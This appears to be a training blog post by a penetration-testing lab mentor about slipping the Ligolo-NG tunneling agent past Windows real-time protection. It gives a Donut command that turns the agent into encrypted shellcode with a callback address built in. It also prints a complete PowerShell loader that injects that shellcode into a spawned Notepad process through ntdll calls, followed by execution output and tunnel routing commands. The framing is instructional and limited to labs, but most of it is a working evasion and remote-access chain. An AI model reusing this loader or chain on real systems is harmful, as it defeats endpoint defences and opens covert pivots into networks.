Ligolo agent – Bypass EDR (Powershell Way)

ligolo ph03n1x edr

Every cohort, the same wall shows up in the pivoting labs. A student gets their foothold, grabs the Ligolo-NG agent, drops it on the target, and… nothing. Windows Real-Time Protection eats agent.exe before it ever phones home. Then the messages start rolling into the channel: “my agent won’t connect,” “the file disappears after I copy it,” “Defender keeps quarantining it.”

If that’s you right now—good. This is exactly the friction the lab is designed to create. You’re not supposed to run a raw, unsigned red-team binary on a monitored host and get away with it. Let’s talk about how I coach students through this without simply handing them the answer.

The Problem

The stock agent.exe from Ligolo-NG is a known artifact. Its bytes are recognizable, and Windows Real-Time Protection flags it when it is written to disk or executed. Copying it to disk as-is is a dead end on any host with real-time protection enabled.

The fix is twofold:

  1. Change what lands on disk so signature-based detection has nothing familiar to match.

  2. Change how it runs so you’re not executing a flagged PE directly.

That means converting the agent into position-independent shellcode and then injecting that shellcode into an existing process instead of launching the original executable.

Step 1 — Obfuscate the Agent with Donut

Donut turns a PE into encrypted, position-independent shellcode with randomized names, changing the static characteristics that signature-based detection can recognize.

Install it on Kali:

sudo apt install donut

Generate the shellcode from the Ligolo agent and include the connection parameters so the resulting shellcode is self-contained:

donut -f 1 -o agent.bin -a 2 -p "-connect 192.168.45.214:11601 -ignore-cert" -i agent.exe

Example output:

[ Donut shellcode generator v1 (built Feb 12 2026 14:39:18)
[ Copyright (c) 2019-2021 TheWover, Odzhan

[ Instance type : Embedded
[ Module file   : "agent.exe"
[ Entropy       : Random names + Encryption
[ File type     : EXE
[ Parameters    : -connect 192.168.45.214:11601 -ignore-cert
[ Target CPU    : amd64
[ AMSI/WDLP/ETW : continue
[ PE Headers    : overwrite
[ Shellcode     : "agent.bin"
[ Exit          : Thread

You now have agent.bin: encrypted shellcode instead of the original, recognizable executable.

⚠️ Flags worth understanding, not just copying: -f 1 specifies raw output, -a 2 targets AMD64, -p supplies the parameters passed to the agent at runtime, and -i identifies the input PE. Take a few minutes to understand what each option does.

Step 2 — Start the Ligolo Proxy on Kali

┌──(kali㉿kali)-[~/Desktop/Tools/Ligolo-NG]
└─$ sudo ./proxy -selfcert

WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
WARN[0000] TLS Certificate fingerprint for ligolo is: DA921CF...
INFO[0000] Listening on 0.0.0.0:11601

ligolo-ng »

The proxy is now listening on port 11601, which is the same port included in the shellcode parameters.

Step 3 — Transfer and Execute on the Target

Serve the required files from Kali with impacket-smbserver, then retrieve both the shellcode and loader script from the target. I use a PowerShell loader written specifically for this lab scenario. It reads the shellcode and injects it into a new process instead of executing the original PE directly from disk.

I saved the PowerShell loader as ligolo-exec.ps1.

After uploading both files to the target, run the PowerShell loader script:

ligolo-exec.ps1
See full script Hide script ⌄
Add-Type @"
    using System;
    using System.Runtime.InteropServices;
    using System.Net;
    using System.Diagnostics;
 
    public class NtDll {
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint FreeType);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtCreateThreadEx(out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Argument, uint CreateFlags, uint ZeroBits, uint StackSize, uint MaximumStackSize, IntPtr AttributeList);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtWaitForSingleObject(IntPtr Handle, bool Alertable, IntPtr Timeout);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, out uint OldProtect);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtDelayExecution(bool Alertable, ref long DelayInterval);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, uint NumberOfBytesToWrite, out uint NumberOfBytesWritten);
 
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int ZwSetTimerResolution(uint RequestedResolution, bool Set, ref uint ActualResolution);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(IntPtr hObject);
 
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    }
 
    public class MyFunctions {
        private static bool once = true;
 
        public static void SleepShort(float milliseconds) {
            if (once) {
                uint actualResolution = 0;
                NtDll.ZwSetTimerResolution(1, true, ref actualResolution);
                once = false;
            }
 
            long interval = (long)(-1 * milliseconds * 10000.0f);
            NtDll.NtDelayExecution(false, ref interval);
        }
    }
"@
 
Write-Host "[+] Starting shellcode injection process" -ForegroundColor Green
 
$notepadProcesses = Get-Process notepad -ErrorAction SilentlyContinue
 
if ($notepadProcesses -eq $null -or $notepadProcesses.Count -eq 0) {
    Write-Host "[!] No Notepad process found. Starting Notepad..." -ForegroundColor Yellow
    $processInfo = Start-Process notepad -PassThru
    Write-Host "[+] Notepad started (PID: $($processInfo.Id))" -ForegroundColor Green
    [MyFunctions]::SleepShort(3000)
    $notepadProcesses = Get-Process notepad -ErrorAction SilentlyContinue
}
 
# READ FROM LOCAL FILE INSTEAD
Write-Host "[*] Reading shellcode from local file..." -ForegroundColor Cyan
$shellcode = [System.IO.File]::ReadAllBytes("C:\Windows\Tasks\agent.bin")
Write-Host "[+] Shellcode loaded successfully (Size: $($shellcode.Length) bytes)" -ForegroundColor Green
 
$size = $shellcode.Length
 
function SleepShort($milliseconds) {
    [MyFunctions]::SleepShort($milliseconds)
}
 
SleepShort 2000
 
Write-Host "[*] Finding last Notepad process..." -ForegroundColor Cyan
$lastNotepad = $notepadProcesses | Sort-Object StartTime -Descending | Select-Object -First 1
Write-Host "[+] Found Notepad process (PID: $($lastNotepad.Id))" -ForegroundColor Green
 
SleepShort 1000
Write-Host "[*] Opening process handle..." -ForegroundColor Cyan
$processHandle = [NtDll]::OpenProcess(0x1F0FFF, $false, $lastNotepad.Id)
if ($processHandle -eq [IntPtr]::Zero) {
    Write-Host "[!] Failed to open process handle" -ForegroundColor Red
    exit
}
Write-Host "[+] Process handle opened successfully" -ForegroundColor Green
 
SleepShort 2000
 
Write-Host "[*] Allocating memory in target process..." -ForegroundColor Cyan
$addr = [IntPtr]::Zero
$result = [NtDll]::NtAllocateVirtualMemory($processHandle, [ref]$addr, [IntPtr]::Zero, [ref]$size, 0x3000, 0x4)
if ($result -eq 0) {
    Write-Host "[+] Memory allocated successfully at address: 0x$($addr.ToString('X'))" -ForegroundColor Green
} else {
    Write-Host "[!] Memory allocation failed" -ForegroundColor Red
    exit
}
 
SleepShort 2000
 
Write-Host "[*] Writing shellcode to allocated memory..." -ForegroundColor Cyan
$bytesWritten = 0
$result = [NtDll]::NtWriteVirtualMemory($processHandle, $addr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
if ($result -eq 0) {
    Write-Host "[+] Shellcode written successfully ($bytesWritten bytes)" -ForegroundColor Green
} else {
    Write-Host "[!] Write operation failed" -ForegroundColor Red
    exit
}
 
SleepShort 2000
 
Write-Host "[*] Changing memory protection to RX..." -ForegroundColor Cyan
$oldProtect = 0
$result = [NtDll]::NtProtectVirtualMemory($processHandle, [ref]$addr, [ref]$size, 0x20, [ref]$oldProtect)
if ($result -eq 0) {
    Write-Host "[+] Memory protection changed successfully" -ForegroundColor Green
} else {
    Write-Host "[!] Protection change failed" -ForegroundColor Red
    exit
}
 
SleepShort 2000
 
Write-Host "[*] Creating thread to execute shellcode..." -ForegroundColor Cyan
$thandle = [IntPtr]::Zero
$result = [NtDll]::NtCreateThreadEx([ref]$thandle, 0x1FFFFF, [IntPtr]::Zero, $processHandle, $addr, [IntPtr]::Zero, 0, 0, 0, 0, [IntPtr]::Zero)
if ($result -eq 0) {
    Write-Host "[+] Thread created successfully - Shellcode executing!" -ForegroundColor Green
} else {
    Write-Host "[!] Thread creation failed" -ForegroundColor Red
    exit
}
 
if ($thandle -ne [IntPtr]::Zero) {
    [NtDll]::CloseHandle($thandle) | Out-Null
}
 
SleepShort 10000
Write-Host "[+] Shellcode injection completed!" -ForegroundColor Green
 
if ($processHandle -ne [IntPtr]::Zero) {
    [NtDll]::CloseHandle($processHandle) | Out-Null
}
C:\Windows\Tasks>copy r:\ligolo-exec.ps1 C:\Windows\Tasks\ligolo-exec.ps1
        1 file(s) copied.

C:\Windows\Tasks>copy r:\agent.bin C:\Windows\Tasks\agent.bin
        1 file(s) copied.

C:\Windows\Tasks>powershell -ExecutionPolicy Bypass -File C:\Windows\Tasks\ligolo-exec.ps1

[+] Starting shellcode injection process
[!] No Notepad process found. Starting Notepad...
[+] Notepad started (PID: 9932)
[*] Reading shellcode from local file...
[+] Shellcode loaded successfully (Size: 5565548 bytes)
[*] Finding last Notepad process...
[+] Found Notepad process (PID: 200)
[*] Opening process handle...
[+] Process handle opened successfully
[*] Allocating memory in target process...
[+] Memory allocated successfully at address: 0x267C5440000
[*] Writing shellcode to allocated memory...
[+] Shellcode written successfully (5565548 bytes)
[*] Changing memory protection to RX...
[+] Memory protection changed successfully
[*] Creating thread to execute shellcode...
[+] Thread created successfully — shellcode executing!
[+] Shellcode injection completed!

Notice the pattern: spawn a benign host process, allocate memory, write the shellcode, change the memory protection to RX, and create a new thread. This follows a standard process-injection sequence. Because the original executable never touches the disk in its recognizable form, real-time protection has no familiar executable to quarantine.

A note on my loader: I previously kept ligolo-exec.ps1 private because building and tuning your own loader is an important part of the learning process. I’ve included it here as a reference, not as a substitute for understanding how it works. Study the sequence, read the API documentation, and use it only in authorized lab environments.

Step 4 — Bring Up the Tunnel

Back on the proxy, you should see the agent check in:

ligolo-ng » INFO[0363] Agent joined.  name="MEGACORPONE\e.smith@ENG-WS02"

ligolo-ng » session
? Specify a session : 1 - #1 - MEGACORPONE\e.smith@ENG-WS02 - 192.168.232.61:50788

[Agent : MEGACORPONE\e.smith@ENG-WS02] » start --tun tunnel2
[Agent : MEGACORPONE\e.smith@ENG-WS02] » INFO[0608] Starting tunnel...

Create and activate the virtual interface in a separate terminal:

sudo ip tuntap add user root mode tun tunnel2
sudo ip link set tunnel2 up

Next, route the target’s internal subnet through the tunnel. Check the IP configuration of ENG-WS02, then add the corresponding route:

sudo ip route add 172.16.232.0/24 dev tunnel2

Traffic destined for 172.16.232.0/24 will now flow through the pivot. Validate the connection using authorized connectivity checks against the internal lab range. If the hosts respond, the pivot is working.

My Nudges for Students

When students hit the real-time protection wall, these are the three nudges I give them—in this order:

Three Nudges. Three Links. Do the Work.

  1. Obfuscate your agent.exe with Donut. Install it with sudo apt install donut, then read the documentation and understand the flags before generating anything.

  2. Read a walkthrough of the technique: Making Ligolo Stealthy via Donut

  3. Study an existing implementation and build your own loader. Don’t copy it verbatim. Adapt it and use AI to help you understand the injection logic: Extravenger/OSEPlayground — Tunneling

Why I Usually Don’t Hand Over the Script

I get asked for ligolo-exec.ps1 every time I teach this material. My answer used to be no—not to be difficult, but because writing your own loader helps three important concepts click in a way that simply pasting somebody else’s code never does:

  • How process injection works: allocate, write, protect, and execute.

  • Why changing what lands on disk and changing how it runs are separate problems: both must be understood.

  • How to adapt: the next security product may detect the technique that worked previously.

I’ve included the loader in this write-up as a learning reference. Don’t stop at copying it. Read it, understand every stage, and rebuild it in your own authorized lab.

The students who work through this wall themselves are usually the ones who move confidently through the tunneling sections of later challenges. Those who rely only on a working script often freeze the first time it stops working.

Hit the Wall. Read the Flags. Understand the Loader. That’s the Point.

OffSec SM — Ph03n1x

Hope it helps you out!

Scroll to Top